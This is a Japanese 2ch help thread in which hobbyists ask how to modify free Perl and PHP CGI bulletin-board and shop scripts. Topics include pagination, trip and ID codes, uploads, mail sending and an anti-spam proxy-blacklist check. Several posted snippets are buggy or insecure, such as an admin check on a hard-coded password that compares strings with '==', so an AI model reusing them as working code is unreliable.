2chでさえ恥ずかしいから止めとけ。必死に見えるし。
なりいきで死活問題になってるんでつ.
仕事決まって早くも首にされるか毎日がヒヤヒヤなんでつ.
必死も必死でなりふり構っていられないんでつ.ヽ(TДT)ノウワァァァン
派遣なんだろ?
派遣先の状況報告して次の見つけたほうがいい希ガス
田舎なんでつ.
派遣も毎日ように仕事にいけるとこが超少ないでつ.
どの派遣も仕事が少なくて貧乏してる人で溢れてまつ.
1週間に1回とか2回しかこの一月は仕事もらえませんでつた.(TдT)
やっと一月フル出勤の職場に飛ばされて喜んでたのに。。。。シクシク
そんな中で断ったり無理を言われているとは派遣にいえないでつ.
まともな日本語が書けるようになってから来い
こんなとこにぐたぐた書き込む暇があるんなら、
ぐぐって参考になるようなサイトでも見つけて勉強しろ
◆A2OwBNhxuY はドラマ電車男に影響されて2chに来た人?
2chに頻繁に来る奴の中にも、ふいんき読めない痛いのが居るから一概には言えぬかと
スレタイ読めてないやつも山ほどいるけどな
そうだな、アドバイスするスレだったな
1から書き直せばいいんじゃなーい?
【 CGI名 】簡易データベース v2.1 (SJIS) 検索用
【配布先URL】
ttp://www.rescue.ne.jp 【 依頼期限 】明日の朝まで
【 依頼内容 】↓
○円から○円までの商品を表示させるというのを実現させたいです。
ドロップダウンリストに
〜100円
101円〜200円
201円〜300円
〜〜
1,000円〜
という設定をしておいて、リストからその価格帯だけを表示させるという物です。
ドロップダウンリストに
<option value="1">〜100円</option>
<option value="2">101円〜200円</option>
<option value="3">201円〜300円</option>
として、普通にif文で
if($FORM{'data'} eq '1'){
if($data =< 100){ ; } else { next; }
}
elseif($FORM{'data'} eq '2'){
if($data => 101 && $data =< 200 ){ ; } else { next; }
}
〜〜
とすればOKなのでしょうか?(データには桁区切りのカンマが入ると思います。)
ほかによい方法がありますか?または、参考となるCGIがあれば同時に教えてもらえるとありがたいです。
た め し た の か ?
>843
マルチすんな、クズ
せめて元スレにちゃんと断わってからこい
なんだよ明日の朝までって
ふざけるな
丸投げスレへどうぞ
【 CGI名】LineBBS
【配布先】
ttp://www.cj-c.com/cgi_s/lbbs.htm 【ソース】
ttp://2ch-library.com/uploader/src/up1582.txt 【改造内容】
コメントを送信後、書き込みの記事が反映されたページにでるのですが、
これを自分のHPのTOPPAGE表示にしたい。(反映したかどうかは見れなくていい)
FORM 部分の
<form action="$cgi_f" method="$met"$T name=c>
<input type=hidden name=mode value=wri>
が怪しいと思ったので、<INPUT>タグを消してみたけど変わらず、
name=cを消すとエラーになってしまいました。
ソースをみてみたけど、name=cが何を指しているのかわかりませんでした。
期限など特にありません。ヨロシクお願いします。
851 :
849:2005/11/22(火) 18:47:55 ID:???
>>850 ありがとうございます。
BBS自体をいじっていない状態では無事にTOPPAGEへと移動しました^^
ただ、使用しているBBSの状態ではエラーがでてしまいました。
投稿画面の部分のソースをHTMLに貼り付けて、
TOPPAGEのHTMLに埋め込む形を取っているんです。
(一見、メールフォームみたいにみえるようになっています)
この場合どうしたらいいでしょうか(´・ω・`)
ご迷惑おかけしますorz
>>851 変更前のには上の修正をして動くのね?
使用しているBBSという意味が分からないけど、
成功したスクリプトを基準にしてもう一度設定しなおして。
849の書き方からするに動く原理とかあんまり分かってないようなので、動くのを基準にやり直すことお勧めします。
853 :
849:2005/11/22(火) 20:00:45 ID:???
>>852 そうですね、わざわざ出来ないようになっている掲示板に
手をかけるのもあれなので、もとからページ移動先を
設定できるものを探して設置できるようにしました。
ご迷惑をおかけしました。
854 :
nobodyさん:2005/12/04(日) 18:28:32 ID:i00gwMB7
誘導されて来ました。
【. CGI名 .】 YY-BOARD v5.5
【配布先URL】
http://www.kent-web.com/bbs/yybbs.html デコード処理
sub decode {local($buf,$key,$val);
undef(%in);
if ($ENV{'REQUEST_METHOD'} eq "POST") {
$post_flag=1;
if ($ENV{'CONTENT_LENGTH'} > 51200) { &error("投稿量が大きすぎます"); }
read(STDIN, $buf, $ENV{'CONTENT_LENGTH'});
} else {$post_flag=0;
$buf = $ENV{'QUERY_STRING'};}
foreach ( split(/&/, $buf) ) {
($key, $val) = split(/=/);
$val =~ tr/+/ /;
$val =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("H2", $1)/eg;
掲示板の最大文字数制限をしたくてソースを見ていました。
上の51200をいじれば最大文字数も変更できるのかと思い
50に変えたのですが、500文字の書き込みも普通に投稿できます。
どうすれば、制限することができるのでしょうか。それともここは関係ないのでしょうか。
他にあやしいところは下あたりです。よろしくお願いします。
記事登録
sub regist {local($flag,$oyaChk,@lines,@data,@new,@tmp);
# フォーム入力チェック &formCheck;
# 時間取得 &get_time;
855 :
854:2005/12/04(日) 20:24:04 ID:???
解決しました。すみません。
856 :
nobodyさん:2005/12/05(月) 00:58:41 ID:sAr+SdXn
こんばんは。力なき私に力を貸してください。
今商品閲覧のサイトを作っているのですが
以下のCGIをうってDISPAYしようと試みましたが、下に延々と続いてしまいます。
希望的には5列表示し、2段になったら、下の方に次のページと表示したいのですが
できません。。。商品は$good_idが1からどんどん増えていくのでそこで
ifで表示させるのかなと思いやってみたのですが出来ません。
皆様方どうかちからを貸してください。
print "<FORM METHOD=POST ACTION=\"$cgifile\">\n";
print "<TABLE CELLPADDING=0 CELLSPACING=0 WIDTH=310 BORDER=0>\n";
print "<TR><TD background=\"$img_pass/table-up.gif\" width=155 height=12></TD><TD background=\"$img_pass/table-up.gif\" width=155 height=12></TD></TR>\n";
print "<TR><TD VALIGN=TOP width= 155 background=\"$img_pass/table-middle.gif\"><center>\n";
print "<a href=\"window.cgi?page_id=$page_id&num=1&count=$goods_id\" onClick=\"newwindow()\" target=\"new\"><IMG SRC=\"$pic_dir/$picture\" width=\"$img_w\" height=\"$img_h\" BORDER=0></a>\n";
print "</center></TD></TR>\n";
print "<TR><TD class=\"main2\" background=\"$img_pass/table-middle.gif\"><center><IMG src=\"$img_pass/title.gif\" width=\"100\" height=\"20\"><br>$name</center></TD></TR>\n";
print "<TR class=\"main2\"><TD background=\"$img_pass/table-middle.gif\"><center><IMG src=\"$img_pass/size.gif\" width=\"100\" height=\"20\"><br>$com</B></center>\n";
print "<TR class=\"main2\"><TD background=\"$img_pass/table-middle.gif\"><center><IMG src=\"$img_pass/price.gif\" width=\"100\" height=\"20\"><br>$price_disp 円</B></FONT></center>\n";
print "<TR><TD background=\"$img_pass/table-bottom.gif\" width=155 height=12></TD></TR>\n";
print "</TABLE>\n";
print "</FORM>\n\n";
}
最初っから表示する範囲を受け取る必要がある。
で指示された範囲の商品を表示して下部に表示してないページのリンクを貼る。
googleの検索結果のページを参考にするといい。
858 :
856:2005/12/05(月) 07:14:22 ID:sAr+SdXn
googleは何でくぐればいいんですか?
>858
もうちょっと日本語の読解力をつけてくれ
それとも日本人じゃないのか?
なんにしろ、html出力の部分だけ貼られても
アドバイスのしようが無いんだが。
そこ以外の部分で適切な処理すればできると思うよ。
860 :
856:2005/12/05(月) 18:55:00 ID:sAr+SdXn
863 :
nobodyさん:2005/12/13(火) 18:54:31 ID:OxkXO5pu
【スクリプト名】 stereolog
【使用言語】 PHP
【配布元URL】
http://tar100mg.com/stereolog/ 【ヘルプ内容】
現在、自鯖にうpして、カスタマイズ中です。
トップページのみ、右カラムの記事表示件数を0にし、
include('XXXX.html');という形で差し替えできるファイルを読み込みたいと考えています。
その他のページ(カテゴリトップなど)は現状のままで、トップページの右カラムだけの変更です。
index.phpにinclude('XXXX.html');を追加してみたりしましたが、全ページに表示されてしまいます。
うまい解決方法が見つかりません。
期限は特にありません。
お手数をおかけしますが、よろしくお願いします。
864 :
863:2005/12/13(火) 19:00:02 ID:???
それーiframeでいいんじゃねーの?
>>865 レス有難うございます。
iframeでやって見ましたが、やはり全てのページに反映されてしまいます。
>>863 そもそも修正すべきファイルが間違っているような希ガス。
右カラム触りたいなら ./style/tarpop2/blogbody.php でしょ。
if(
!isset($_GET['id'] ) && !isset($_GET['month']) && !isset($_GET['cat'] ) && !isset($_GET['view'] )
){
// Home時
include('home.html');
}
else{
// それ以外
あれこれ
}
homeを示すglobal変数見つからなかったからこんな感じでどうよ。
868 :
867:2005/12/14(水) 17:31:45 ID:???
ダメだ、エントリ増えたらhome.htmlの表示も増えたw
./inc/func.phpも修正しないとダメっぽいが時間切れ。
つか作者に聞いてみるのも一つの手だよ。
869 :
867:2005/12/14(水) 17:34:25 ID:???
うは、よく見たら修正しないといけないのは view.php の方かも。
まぁ頑張れ、以上。
>>867の情報を元に大体の見当は付いたが、素人がこれ改変するの大変だよ。
indexページ別に作って、blogに飛ばす方が遥かに楽だと思う。
872 :
863:2005/12/15(木) 09:05:03 ID:???
>>867-871 色々考えていただいて有難うございました。
また、何かあればよろしくお願いします。
【スクリプト名】Web Patio 2.2
【配布元URL】
http://www.kent-web.com/bbs/patio.html 【使用言語】Perl
Web Patio にアップロード機能を付加しようと試みました。
表示部分に関してはとりあえず後回しと考えていたので手をつけていません。
まじめにプログラムをしたことがないので根本的に間抜けな事をしているの
かもしれませんが、よろしかったら突っ込みお願いします。
----------やってみたこと----------
同じフォルダにcgi-lib.plを置く
新規投稿のform部分に追加
<form enctype="multipart/form-data" 〜 >
<input type=file name=upfile size=40>
init.cgiに追加
require './cgi-lib.pl';
$imgdir = './img/';
$imgurl = "
http://(該当URL)/img/";
$imgurl = "./img/";
$clip_err = 1;
$maxData = 51200;
$gif = 1;# GIFファイル
(略)
$mp3 = 0;# MP3ファイル
$cgi_lib'maxdata = 102400;
$MaxW = 300;# 横幅
$MaxH = 150;# 縦幅
JoyfulNote(
http://www.kent-web.com/bbs/joyful.html)から
sub upload 部分を丸写し
376: next if ($key eq "upfile"); 追加
regist.cgiに下記部分を
追加
69: if ($in{'upfile'}) { ($tail,$W,$H) = &upload; }
改変
027: local($sub,$key,$flag,$i,$tail,$W,$H,@top);
138: print OUT "0<>$in{'sub'}<>$i_nam2<>$in{'email'}<>$i_com<>$date<>
$host<>$pwd<>$in{'url'}<>$in{'mvw'}<>$my_id<>$tail<>$W<>$H<>\n";
207: push(@file,"$newno<>$in{'sub'}<>$i_nam2<>$in{'email'}<>$i_com<>
$date<>$host<>$pwd<>$in{'url'}<>$in{'mvw'}<>$my_id<>$tail<>$W<>$H<>\n");
元の状態に戻す一番簡単な手段は弄った物を破棄し、新しく始めからやる事だ。
変更点を残したいのなら差分を取って必要な箇所を書き換えれば済む話だ。
配布されていた状態がどのような物だったのか、我々は知る術を持たない。
因って、弄る前の状態でバックアップを取っていない貴方に問題がある。
>875
流れてるんで再upしてくれ
【スクリプト名】:[ReverseAccess][Yomi-Search Ver4.21]
【ReverseAccess配布元】:
http://www.cj-c.com/cgi_s/access.htm 【Yomi-Search Ver4.21配布元】:
http://yomi.pekori.to/yomi-search.shtml 【改造内容】Yomi-Search Ver4.21でリンク集を運営しています。
Yomi-Searchのアクセスランキング専用のURL(転送アドレス)で
他サイトが当サイトをリンクした場合でもReverseAccessに集計出来るようにしたいのです。
あるいは、アクセスランキングが直接ReverseAccessのカウントをアップできるように出来ないでしょうか
Perlの事は、全然わからず苦戦しています。
皆さんどうぞ宜しくお願い致します。><
880 :
nobodyさん:2006/01/20(金) 12:50:43 ID:t3QT2E9W
>>880 いろいろやってみたスクリプトを晒しなさい。
ここはそういうスレ
YY-BOARDでトリップ機能を付けてたんだが新しくIDにしたくなってみた。
トリップはいらないんだけどIDをトリップと同じ文字にしたい。
どうすればいいのか知恵を貸してくだされ・・・。
# ID生成
if($in{'pwd'}) {
$id = substr(crypt($in{'name'}, '$1$' . $in{'pwd'}), -10);
$date = "$date <font color=$id_color>ID:$id</font>";
}
# トリップ
$nam =~ s/◆/◇/g;
if ($nam =~ m/#(.+)/) {
my $trip = ' ◆' . substr(crypt($1, substr($1, 1)), -10);
$nam =~ s/#(.+)/<\/b>$trip<b>/;
}
$nam =~ s/◆/◇/g;
if ($nam =~ m/#(.+)/) {
my $id = ' ◆' . substr(crypt($1, substr($1, 1)), -10);
$nam =~ s/#(.+)/<\/b>$id<b>/;
}
884 :
880:2006/01/21(土) 02:51:42 ID:???
あげ
887 :
nobodyさん:2006/01/24(火) 22:27:37 ID:v6rsgVgC
それ何てスパム?
889 :
nobodyさん:2006/01/28(土) 05:52:08 ID:d/2+tkD1
891 :
889:2006/01/28(土) 20:43:56 ID:???
>>890 スレ違いでしたね^-^;
ありがとうございました。
892 :
nobodyさん:2006/02/03(金) 23:30:12 ID:tv+w3slT
yomiFanでログデータの追加。URLをもうひとつ記入できるようにする改造。
でURL部分の追加は掲載されていてそれは適応したんですが、その第二URLにタイトルを追加する方法は
どうすればいいんでしょう?。テンプレの部分はわかるのですが、各所CGIのどの部分をいじればいいかわからないため
どなたか教えてください。
893 :
nobodyさん:2006/02/15(水) 01:19:40 ID:F6j2ktQX
894 :
nobodyさん:2006/02/16(木) 11:02:10 ID:eLE66xLL
# 管理用パスワード & 管理人名
$masterpass = '0123';
$mastername = '管理人';
# ID生成
if($in{'pwd'}) {
$id = substr(crypt($in{'name'}, '$1$' . $in{'pwd'}), -10);
if ($in{'pwd'} == $masterpass && $in{'name'} == $mastername) { $id = 'Master'; }
$date = "$date ID:$id";
}
っと書いてある物をaskabbsに書き込み使用しています。
ですがこれを.txtか何かにして他の人たちにも使ってもらいたいのですがどのようにしたら出来るのでしょうか?
よろしくお願いします。
↑どこかのスレで見かけたぞ
マルチうぜえ。
>これを.txtか何かにして
アフォか。perlについてちっとは勉強してからこいっての。
一部分を見せられても訳わからんし、第一何がしたいのかも良くわからん。
もう一回出直してきた方がいいかも。
897 :
nobodyさん:2006/02/16(木) 12:29:19 ID:0NGzx21f
はじめまして。
ttp://tackysroom.com/ こちらのサイトで配布されている
『スキスキ2』というCGIについてですが、
途中の質問に画像をアップロードする機能を付けるよう改造したいと思っています。
色々調べてみて、フォームを付けてみたりしたのですが、
なにをしてもエラーが出てしまいます・・・
どのように改造したらアップロードできるようになるのでしょうか。
アドバイスよろしくお願いします。
>894
ろくに知識もないのに何かを配布するとかやめろ。マジ迷惑。
やりたいなら、しっかり勉強して、配付するものの内容や配布の仕方・使い方等、
お前自身で使う人たちのサポートがきちんとできるレベルの知識をつけてからにしてくれ。
お前らは黙って答えてればいいお(^ω^#)ピキピキ
>>897 自分がどのような改造を施したのかスクリプトをうpしなさい。
話はそれからだ。
901 :
改造依頼です:2006/02/16(木) 17:48:39 ID:vUs8kAED
CJ-CLUBのChild Treeをトリップ実装したいのですが・・。
配布元は
http://www.cj-c.com/cgi_s/cbbs.htmです。
CJ-CLUBのサポート掲示板のログを見て参考にしたのですが、出来ませんでした。
http://www.cj-c.com/sp/cbbs.cgi?mode=al2&namber=9723&rev=&no=1&KLOG=10 これは同じ配布元のI-BOARDのスクリプトなので多少の違いがあるんだと思うんですが・・。
サポート掲示板にあったサブルーチンだと、500エラーが起こったので他の掲示板のサブルーチンから引用して↓のようにしました。
sub trip {
local( $data ) = @_;
$data =~ s/◆/◇/;
if ($data =~ /(#|#)(.+)$/) {
$tripword = $2;
$salt = substr($tripword."H.", 1, 2);
$salt =~ s/[^\.-z]/\./go;
$salt =~ tr/:;<=>?@[\\]^_`/ABCDEFGabcdef/;
$c_tripword = substr(crypt($tripword, $salt),-8);
$data =~ s/(#|#)(.+)$/◆$c_tripword/;
}
return $data;
}
すると、「名前◆トリップ」と表示されるのではなく、ただ「名前」しか表示されませんでした。
私はPerlの知識が全く無いので、これ以上何をやっていいのかがわかりません^^;
どなたか教えていただけないでしょうか?
>>901 スクリプトを見ずにレス
print 名前;
の所を
print &trip(名前トリップキー付);
903 :
901:2006/02/16(木) 18:28:59 ID:???
>>902 らしき部分は3つ見つけたんですが・・・。
print"/ $rname <small>($rd) $yobi<font color=\"$kijino\">#$rnam</font></small> $re$Pr\n";
print"<a href=#$nam>$news $d_may</a>\n";
print"/$name <small>($date) $yobi<font color=\"$kijino\">#$nam</font></small> $end$Pr</td></tr><tr><td nowrap>\n";
この3つどれをそう変えてもトリップは表示されませんでした。
あと、名前欄に◆と入力しても◇にならないんですが・・・。
>>903 それをおまいはどのように書き換えたのか書いてみろ
905 :
901:2006/02/16(木) 18:42:59 ID:???
$rname → &trip($rname);
$nam → &trip($nam);
$name → &trip($name);
です。
一つ一つ試してみたんですが、全部ムリでした。
>>905 あーごめんごめん、
ログファイルに書き出す前にトリップキーをトリップに変換してログに書き出せばいいんじゃないかな。
表示部分でやってもダメだ。
管理人にトリップキーを抜かれる。
907 :
901:2006/02/16(木) 19:14:03 ID:???
>>906 すいませんその方法がわからないです^^;
Perlプログラムの知識は全く無いんで。
基礎用語が少しだけわかる程度です。
909 :
901:2006/02/16(木) 19:28:29 ID:???
了解。スレ違いでしたか^^;
すいませんでした、移動します。
ttp://www.rescue.ne.jp/cgi/database/ を改造しようと思うんですが都道府県 男女別 年齢層 の部分を削除するにはどうすればいいですか?
つまりニックネームだけの検索に改造しようと思ってます
ソースはこんな感じです↓
if ($ENV{'REQUEST_METHOD'} eq "POST") { read(STDIN, $buffer, $ENV{'CONTENT_LENGTH'}); }
else { $buffer = $ENV{'QUERY_STRING'}; }
if ($buffer eq "") { &error('エラー','使い方が間違っています.'); }
@pairs = split(/&/,$buffer);
foreach $pair (@pairs) {
($name,$value) = split(/=/, $pair);
$name2 = $name;
$value2 = $value;
$FORM2{$name} = $value;
$value =~ tr/+/ /;
$value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
&jcode'convert(*value,'euc');
$value =~ s/</</g;
$value =~ s/>/>/g;
$value =~ s/\n//g;
$value =~ s/\r//g;
$value =~ s/\t//g;
$value =~ s/\,//g;
#フォーム変数へ
$FORM{$name} = $value;
if (!open(IN,"$file")) { &error('データベース読取エラー','復旧をお待ちください.'); }
@BASE = <IN>;
close(IN);
if ($FORM{'FF'} eq '') { $FF = 0; } else { $FF = $FORM{'FF'}; }
$TO = $FF + $page - 1;
if ($TO > $#BASE) { $TO = $#BASE; }
$hit = 0;
$next_num = '';
foreach $num ($FF .. $#BASE) {
$data = $data2 = $BASE[$num];
&jcode'convert(*data,'euc');
($d,$DATE,$NAME,$EMAIL,$SEX,$AGE,$HANDLE,$PREF,$REM) = split(/\,/,$data);
# 都道府県(一致)
if ($AGE eq $FORM{'AGE'}) { ; } else { next; }
<<< 中略 >>>
# ニックネーム(マッチ)
if ($FORM{'HANDLE'} ne '') {
if ($HANDLE =~ /^([\x00-\x7F]|[\x8E\xA1-\xFE][\xA1-\xFE]|\x8F[\xA1-\xFE]{2})*$FORM{'HANDLE'}/i) { ; } else { next; }
}
# 検索終了処理
if ($hit == $page) { $next_num = $num; last; }
else { push(@NEW,$data2); $hit++; }
}
>>910-911 index.htmlの該当部分selectタグを削除。
内部処理までも削除したいならレスして。
913 :
nobodyさん:2006/02/19(日) 14:52:19 ID:U1Aplwrb
>>913 210行目のadd_newdataのサブルーチンの中で、
length ($chat) >= 200 # 単純に日本語一文字2バイトと計算
($chat =~ /\n/) >= 5 # 改行文字が何個あるか
とか使って好きなように制限して下さい。
915 :
913:2006/02/19(日) 21:07:39 ID:sC6i+j2R
>>914 ありがとうございます。早速書き換えしてみたのですが、エラーが出ます。
私の書き方で不自然な箇所はありますか?
##### 新しいデータの追加
sub add_newdata{
length ($chat) >= 200 #
($chat =~ /\n/) >= 5 #
($chat && $cname) || return;
if($url && $url ne '
http://'){
$linkto="<a href=\"$url\">$linkcharacter</a>";
}
$newdata = "<FONT SIZE=\"3\" COLOR=\"$CT[$clrno]\"><B>$cname</B></FONT> : $linkto $chat <FONT SIZE=\"2\">[$date_now]</FONT><BR>\n";
while(@datas > $maxlines - 1){
pop(@datas);
}
unshift(@datas, $newdata);
$update_flag = 1;
}
>>915 せめて、if () {} ぐらいの形にはしておこうよ。
(1)有名ブラゲの俺のペナント2です。
配布元:バンプの部屋
ttp://bannpu.com/ 該当するスクリプトのみこちら↓にアップしました。
ttp://www.geocities.jp/amaterasusatomori/kousin.txt (2)名無しが40歳以上になったら勝手に引退するように。
プログラムで言うと$sakusyaが$no_playerで$nenreiが40以上の場合に、¶paraを実行できれば良いらしいのですが…。
if(($sakusya[$i] eq $no_player[$i]) && ($nenrei[$i >= 40])){
¶para;
}
をどこかに挿入すればいいことまでは分かったのですが、どこに入れればいいのか分からなくて。
どなたか分かる方、お願いします。
↑文字化けすみません。
¶para;は&parapara;の半角で。
誰かあぼーん機能付けてる人いる?
そういうのがググってもなかなか見つからないんだけどさorz
920 :
nobodyさん:2006/02/26(日) 20:31:09 ID:qTrOQ0Y+
922 :
917:2006/02/27(月) 09:07:28 ID:???
誰もレスないみたいですができました。
バックアップに書き込む部分の$ato[$i] <= 0があったからいけなかったようです。
もし考えてくれた人いましたら、ありがとうございました。
924 :
nobodyさん:2006/03/01(水) 01:11:13 ID:8WY3+dzV
質問です、ageさせて頂きます。
掲示板に、自作自演防止のため2ちゃんと同様の強制ID表示をつけてるのですが
sub id {
my($id,$sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst,$month,$date,$identify);
($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst) = localtime(time);
$identify = substr($host,-2).substr(crypt($host,$year-$mon*100),2);
$id = crypt($identify,$mday."L");
$id = substr($id,-10);
return $id;
}
某所で拾ったこれを組み込んでますが、接続元ホストによって生成するんですけど
$hostが「softbank〜.bbtec.net」に対して、すべて同じIDを生成してしまうのです。
間の「〜」にはIPアドレスの12桁の数字が入るのですが…
書き込み人によってこの間の数字はそれぞれ違うのですが、IDはどれも
同じになってしまって。
で、自分なりにあれこれ、数字その他をいじったりまったく別のルーチンに差し替えたり
していたら、今度はdion.ne.jpのホストがみんな統一されてしまったりとか。
なぜそうなってしまうのか、自分には…
IDを問題なく区別して生成させる方法がわかる方、ぜひご指摘ご教授下さいませ
>>924 substr(文字列, 開始位置, 長さ)
927 :
nobodyさん:2006/03/01(水) 22:01:36 ID:p75SPwPu
【. CGI名 .】 White Board
【配布先URL】
http://powder-snow.milk.tc/ 【 依頼期限 】 なるべく早めにお願いします
【. 依頼内容 】 当サイトの掲示板でnemuの部屋の雑談板のように頻繁にアドレス乱立スレが立ちます。
今は雑談板を閉鎖しているのですが待っている方もみえます、以前は串制限やホスト名を制限していましたが無意味な結果が現状です
上記のcgiにBBQを組み込みたいのですがどこに組み込んで良いのかわかりません
if (gethostbyname(join(".",reverse(split(/\./,$ip))).".niku.2ch.net") eq "\x7f\x00\x00\x02")
これをどこに組み込めば良いのかどうか宜しくお願いします
>>928 スレ違いなのでこちらにレスしたまでなのですが・・・
>>927 本来なら作者に聞くべきだ。その方が確実。
しかも、「なるべく早めにお願いします」でスルーしようと思ったがまあ今回だけ。
white.cgiの639行目(if($in{'pass'} eq ""){&error("削除Keyを入力してね");})の下あたりに
$flag_acc = join('.',unpack('C4',gethostbyname(sprintf(qq|%s.niku.2ch.net.|,join('.',reverse(split(/\./,$ENV{'REMOTE_ADDR'})))))));
if($flag_acc =~ /^127/){&error("BBQに登録されています。本当にありがとうございました。");}
931 :
nobodyさん:2006/03/02(木) 14:57:47 ID:k+t5Sn1v
質問です。
web-libertyのメール送信CGIを改造したいのですが。
http://www.web-liberty.net/download/mail/index.html 送信されるメールには、必ずメール本文に
「送信者」「件名」「送信アドレス」「本文」「ホスト」「日時」が表示されます。
メルアド、送信者名、アドレスが二つ表示され、鬱陶しいのでこれを 「本文」「ホスト」「日時」のみの表示に変えたいのですが・・・。
267〜271行目の辺りにある「$value」を「$in{'text_sys'}」に置き換えてみました。
すると送信されるメールの表示が「本文」×4「ホスト」「日時」のようになってしまいました。
本文の表示を一つに減らすにはどうしたらいいのでしょうか?
回答お願いしますm(_ _)m
>>931 作者に訊け。
その方がここで訊くより早い。
933 :
nobodyさん:2006/03/04(土) 16:00:22 ID:e/z2f5Uv
935 :
nobodyさん:2006/03/05(日) 09:11:21 ID:TAl9VaKX
>>932 聞いたらサポート外といわれましたorz
936 :
nobodyさん:2006/03/05(日) 11:36:03 ID:hlZ3Pay4
特定のフォルダの中身をすべて表示するというもの
これだとすべてを1ページに表示するので重いです
例えば10個づつ表示してページ後はページ分けを自動作成するってことできますか?
本来htaccessでindexなしでファイルの表示を可能にすれば簡単なのですが
レンタルサーバーにはhtaccesは使えないし匿名FTPもダメなので
よろしくお願いします
opendir(DIR, "$dir");
while ($_ = readdir(DIR)) {
if (substr($_,-4,4) ne "") { #ファイル出力
($size) = (stat("$dir/$_"))[7]; # ファイルサイズ所得
print "<TR>";
print "<TD><A HREF=\"$dir/$_\" TARGET=\"_blank\"><IMG SRC=\"$dir/$_\" $width_height>"; # 画像(リンクあり)
print "<TD><A HREF=\"$dir/$_\" TARGET=\"_blank\">$_</A>"; # ファイル名(リンクあり)
print "<TD ALIGN=RIGHT>$size\n"; # サイズ
}
}
closedir(DIR);
こんなの仕込んで適当にループを抜ければ済むと思うが、
if ($count < $in{'page'}) {next;}
if ($count > $in{'page'} + 10) {last;}
おいらならIMG出力をやめて高速化だな。ページ分けは一覧性を損ねる。
画像専用にサムネイル機能をつけるかもしれないが。
938 :
一:2006/03/05(日) 23:38:57 ID:dp/jbZKG
939 :
& ◆7UCJWvNKzw :2006/03/05(日) 23:40:23 ID:dp/jbZKG
ちなみに書き換えた一行だけ抜き出すと、
if ($toukou !~/一/) { &error("一という字を入れてください",'NOLOCK'); }
こんな感じです。
掲示板スパム対策だったらKENTの一番下にある
「スパム投稿対策LIGHT BOARD」使ったほうがよくないか?
941 :
一:2006/03/06(月) 00:12:44 ID:ORH5DdGR
942 :
& ◆dQG0tg7OyU :2006/03/06(月) 00:22:25 ID:ORH5DdGR
すみません。
kentさんのページからは見つかりませんでしたが、検索したら見つかりました。
しかしどうやら、誤動作でちゃんとした投稿がスパムと判定されることもあるようです。
できれば上記の改造部分に関して、ご指導いただけるとありがたいです。
(あと、名前のところに「一」と入れているんですが、たまに文字化けするようでスミマセン)
944 :
940:2006/03/06(月) 01:19:09 ID:???
>>938の【テキスト】が見られない(DLできない)のでアドバイスのしようが
ないんですが、依頼文から推測するとこんな感じの事がやりたいのかな?
★ フォームの適当な位置に以下を挿入
<tr>
<td><b>投稿キー</b></td>
<td><input type=text size=2 name=spam value="$spam">(一という字を入力してください)</td>
</tr>
★投稿受付の入力チェック
★if (!$post_flag) { &error("不正なアクセスです"); } の下に以下を挿入
if ($in{'spam'} ne "一") { &error("投稿キーを入力してください"); }
こんな感じでどう?
想像だけで書いちゃったので合ってるのかわかんないけどw
948 :
一:2006/03/06(月) 18:31:37 ID:???
>944
できました━(゚∀゚)━!
neっていうのを使うんですね。
ありがとうございます!!感涙。
テキスト文、見られなくてすみませんでした。m(..)m
949 :
nobodyさん:2006/03/06(月) 20:26:38 ID:??? BE:789427788-
アッhan!BBSにhane&kage機能の実装アドバイスキボン(`・ω・´)
951 :
nobodyさん:2006/03/06(月) 20:34:21 ID:??? BE:690749287-
952 :
nobodyさん:2006/03/06(月) 20:35:09 ID:??? BE:246696454-
ドンマイ愛Ch
# 投稿用パスワード
$from_pass='7699';
if ($in{'pwd'} ne "0000"){
$err .= "パスワードが違うお^^";
}
日記にこういう投稿パスがあるんですがこれをもう一つパスを増やしたいのですがどうすればいいのでしょうか?
今のパスワードが0000なんでもう一つ1111というパスワードでも投稿できるようにしたいのですが・・・。
【. CGI名 .】 RYUCHAT
【配布先URL】
http://oda.minidns.net/file/data/chat.zip 【ヘルプ内容】
携帯対応にしたい……というのは、まる投げ向きだと思うので
・ログ行数の変更を可能にしたい
・「commandXXX」「cut」(ゆいちゃっと)の実装
ゆいちゃっとからの移植を試みたのですが、どうもうまく行かなかったので……。
どうかよろしくお願いします。
>>954 それ
if ($in{'pwd'} ne $from_pass){
じゃないの?
$in{'pwd'} ne '0000' && $in{'pwd'} ne '1111'
>>955 何を試してどううまくいかなかったのか書くと回答してくれるかも。
それができないなら丸投げへGO。
960 :
955:2006/03/14(火) 16:59:14 ID:???
>959
自己解決しました
961 :
nobodyさん:2006/03/15(水) 00:48:09 ID:sysZJlCW
962 :
961:2006/03/21(火) 09:10:57 ID:???
自己解決しました。
963 :
nobodyさん:2006/03/23(木) 01:15:25 ID:N3IYHv3H
KENT WEB Shopping Cartの改造をしました。
メール送信処理でつまずきました。
利用しているプロバイダが
KENTさんのCGIをWin用に設定していましたので
それを参考にメール送信用のスクリプトを追加修正してみました。
参考にしたCGIファイルのもとファイルとWin用、
改造してみたファイル:init.cgi,order.cgi,cart.cgi
上記のファイルをこちらのURLにアップしました。
ttp://folifoli.web.fc2.com/06test/ 1.init.cgi:181行目あたりsendmailのパスの代替
# メールソフトのパス
require "D:\\ms-smtp\\smtpmail.cfg";
require "D:\\ms-smtp\\smtpmail.pl";
2.order.cgi:
1.706行目あたり
メール送信処理部分: sub sendmail { 以降
最後の
sendMail($to,$mailTo,$mail2,$mailFrom,$MailSub,$MailHeader,$MailBody,);
は、参考にしたものが全てこの書式でした。
この部分の$to,$mailTo,$mail2,$mailFromの設定がおかしいのはわかります。が、混乱してしまいました。
3.cart.cgiの最後の方の
チェックモード--# 送信方式--# sendmailチェック
このsendmailチェックの変更が必要かどうか迷っています。
長くなりましたが、よろしくお願いします。
追加です。
smtpmail.cfgとsmtpmail.plは、プロバイダが設定しており、内容は公表されていません。簡単そうでしたが、しっかり躓いています。
ここがポイント!というところがありましたら、よろしくです。
966 :
965:2006/03/25(土) 02:40:21 ID:???
自己解決しました。
参考もとのスペルミスでした。
【. CGI名 .】 Web Patio v2.2
【配布先URL】
http://www.kent-web.com/bbs/patio.html 【. 依頼内容 】
Web Patioのトリップ機能を、2ch互換にしたいと思ってます。
Patioのトリップは、saltが固定なので2ch互換になりません(´・ω・`)ショボーン
トリップキーの2〜3文字目を抽出してsaltに放り込めばいいはずなんですが、
ややこしくて自分じゃむりぽです…orz
968 :
